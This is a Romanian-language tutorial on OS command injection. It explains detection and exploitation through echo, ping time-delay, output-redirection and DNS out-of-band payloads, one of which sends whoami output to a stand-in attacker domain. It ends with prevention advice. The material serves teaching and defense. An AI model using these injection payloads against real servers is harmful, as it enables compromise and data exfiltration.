în această secțiune, vom explica ce este OS command injection, vom descrie modul în care vulnerabilitățile pot fi detectate și exploatate, vom preciza câteva comenzi și tehnici utile pentru diferite sisteme de operare și vom rezuma cum să prevenim injectarea comenzii OS.
- ce este OS command injection?
- executarea comenzilor arbitrare
- comenzi utile
- vulnerabilități blind OS command injection
- detectarea injecției de comandă a sistemului de operare orb utilizând întârzieri de timp
- exploatarea blind OS command injection redirecționând ieșirea
- exploatarea injecției de comandă blind OS folosind tehnici out-of-band (OAST)
- modalități de injectare a comenzilor OS
- cum să preveniți atacurile OS command injection
ce este OS command injection?
OS command injection (cunoscută și sub numele de shell injection) este o vulnerabilitate de securitate web care permite unui atacator să execute comenzi arbitrare ale sistemului de operare (OS) pe serverul care execută o aplicație și, de obicei, să compromită complet aplicația și toate datele sale. Foarte des, un atacator poate folosi o vulnerabilitate OS command injection pentru a compromite alte părți ale infrastructurii de găzduire, exploatând relațiile de încredere pentru a pivota atacul către alte sisteme din cadrul organizației.
executarea comenzilor arbitrare
luați în considerare o aplicație de cumpărături care permite utilizatorului să vadă dacă un articol este în stoc într-un anumit magazin. Aceste informații sunt accesate printr-o adresă URL cum ar fi:
https://insecure-website.com/stockStatus?productID=381&storeID=29
pentru a furniza informații despre stoc, aplicația trebuie să interogheze diverse sisteme moștenite. Din motive istorice, funcționalitatea este implementată apelând la o comandă shell cu ID-urile produsului și magazinului ca argumente:
stockreport.pl 381 29
această comandă afișează starea stocului pentru elementul specificat, care este returnat utilizatorului.
deoarece aplicația nu implementează nicio apărare împotriva injecției de comandă OS, un atacator poate trimite următoarea intrare pentru a executa o comandă arbitrară:
& echo aiwefwlguh &
dacă această intrare este trimisă în parametrul productID
, atunci comanda executată de aplicație este:
stockreport.pl & echo aiwefwlguh & 29
comanda echo
face ca șirul furnizat să fie ecou în ieșire și este o modalitate utilă de a testa anumite tipuri de injecție de comandă OS. Caracterul &
este un separator de comenzi shell, deci ceea ce este executat este de fapt trei comenzi separate una după alta. Ca urmare, ieșirea returnată utilizatorului este:
Error - productID was not provided
aiwefwlguh
29: command not found
cele trei linii de ieșire demonstrează că:
- comanda originală
stockreport.pl
a fost executată fără argumentele așteptate și astfel a returnat un mesaj de eroare. - comanda injectată
echo
a fost executată, iar șirul furnizat a fost ecou în ieșire. - argumentul original
29
a fost executat ca o comandă, care a provocat o eroare.
plasarea separatorului suplimentar de comandă &
după comanda injectată este în general utilă deoarece separă comanda injectată de orice urmează punctului de injecție. Acest lucru reduce probabilitatea ca ceea ce urmează să împiedice executarea comenzii injectate.
comenzi utile
când ați identificat o vulnerabilitate OS command injection, este în general util să executați unele comenzi inițiale pentru a obține informații despre sistemul pe care l-ați compromis. Mai jos este un rezumat al unor comenzi care sunt utile pe platformele Linux și Windows:
scopul comenzii | Linux | Windows |
---|---|---|
numele utilizatorului curent | whoami |
whoami |
sistem de Operare | uname -a |
ver |
configurarea rețelei | ifconfig |
ipconfig /all |
conexiuni de rețea | netstat -an |
netstat -an |
rularea proceselor | ps -ef |
tasklist |
vulnerabilități blind OS command injection
Multe cazuri de injecție de comandă OS sunt vulnerabilități oarbe. Aceasta înseamnă că aplicația nu returnează ieșirea din comandă în răspunsul său HTTP. Vulnerabilitățile oarbe pot fi încă exploatate, dar sunt necesare tehnici diferite.
luați în considerare un site web care permite utilizatorilor să trimită feedback despre site. Utilizatorul introduce adresa de e-mail și mesajul de feedback. Aplicația server-side generează apoi un e-mail către un administrator de site care conține feedback-ul. Pentru a face acest lucru, apelează la programul mail
cu detaliile trimise. De exemplu:
mail -s "This site is great" -aFrom:[email protected] [email protected]
ieșirea din comanda mail
(dacă există) nu este returnată în răspunsurile aplicației și, prin urmare, utilizarea sarcinii utile echo
nu ar fi eficientă. În această situație, puteți utiliza o varietate de alte tehnici pentru a detecta și exploata o vulnerabilitate.
detectarea injecției de comandă a sistemului de operare orb utilizând întârzieri de timp
puteți utiliza o comandă injectată care va declanșa o întârziere de timp, permițându-vă să confirmați că comanda a fost executată pe baza timpului necesar aplicației pentru a răspunde. Comanda ping
este o modalitate eficientă de a face acest lucru, deoarece vă permite să specificați numărul de pachete ICMP de trimis și, prin urmare, timpul necesar pentru executarea comenzii:
& ping -c 10 127.0.0.1 &
această comandă va determina aplicația să ping adaptorul de rețea loopback timp de 10 secunde.
exploatarea blind OS command injection redirecționând ieșirea
puteți redirecționa ieșirea din comanda injectată într-un fișier din rădăcina web pe care îl puteți prelua apoi folosind browserul. De exemplu, dacă aplicația servește resurse statice din locația sistemului de fișiere /var/www/static
, atunci puteți trimite următoarea intrare:
& whoami > /var/www/static/whoami.txt &
caracterul >
trimite ieșirea din comanda whoami
către fișierul specificat. Apoi, puteți utiliza browserul pentru a prelua https://vulnerable-website.com/whoami.txt
pentru a prelua fișierul și pentru a vizualiza ieșirea din comanda injectată.
exploatarea injecției de comandă blind OS folosind tehnici out-of-band (OAST)
puteți utiliza o comandă injectată care va declanșa o interacțiune de rețea out-of-band cu un sistem pe care îl controlați, folosind tehnici OAST. De exemplu:
& nslookup kgji2ohoyw.web-attacker.com &
această sarcină utilă utilizează comanda nslookup
pentru a provoca o căutare DNS pentru domeniul specificat. Atacatorul poate monitoriza căutarea specificată și, prin urmare, poate detecta că comanda a fost injectată cu succes.
canalul în afara benzii oferă, de asemenea, o modalitate ușoară de a exfiltra ieșirea din comenzile injectate:
& nslookup `whoami`.kgji2ohoyw.web-attacker.com &
acest lucru va determina o căutare DNS a domeniului atacatorului care conține rezultatul comenzii whoami
:
wwwuser.kgji2ohoyw.web-attacker.com
modalități de injectare a comenzilor OS
o varietate de metacaractere shell pot fi utilizate pentru a efectua atacuri de injecție a comenzilor OS.
un număr de caractere funcționează ca separatoare de comandă, permițând comenzilor să fie înlănțuite împreună. Următoarele separatoare de comandă funcționează atât pe sistemele Windows, cât și pe cele bazate pe Unix:
-
&
-
&&
-
|
-
||
următoarele separatoare de comandă funcționează numai pe sisteme bazate pe Unix:
-
;
- linie nouă (
0x0a
sau\n
)
pe sistemele bazate pe Unix, puteți utiliza, de asemenea, backsticks sau caracterul dolar pentru a efectua executarea în linie a unei comenzi injectate în cadrul comenzii originale:
-
`
comandă injectată`
-
$(
comandă injectată)
rețineți că diferitele metacaractere shell au comportamente subtil diferite care ar putea afecta dacă funcționează în anumite situații și dacă permit recuperarea în bandă a ieșirii comenzii sau sunt utile numai pentru exploatarea oarbă.
uneori, intrarea pe care o controlați apare între ghilimele din comanda originală. În această situație, trebuie să încheiați contextul citat (folosind "
sau '
) înainte de a utiliza metacaractere shell adecvate pentru a injecta o nouă comandă.
cum să preveniți atacurile OS command injection
de departe cel mai eficient mod de a preveni vulnerabilitățile OS command injection este să nu apelați niciodată la comenzile OS din Codul stratului de aplicație. În aproape fiecare caz, există modalități alternative de implementare a funcționalității necesare folosind API-uri de platformă mai sigure.
dacă se consideră inevitabilă apelarea comenzilor OS cu intrare furnizată de utilizator, atunci trebuie efectuată o validare puternică a intrărilor. Câteva exemple de validare eficientă includ:
- validarea împotriva unei liste albe a valorilor permise.
- validarea faptului că intrarea este un număr.
- validarea faptului că intrarea conține numai caractere alfanumerice, fără altă sintaxă sau spațiu alb.
nu încercați niciodată să igienizați intrarea prin scăparea metacaracterelor shell. În practică, acest lucru este prea predispus la erori și vulnerabil la a fi ocolit de un atacator calificat.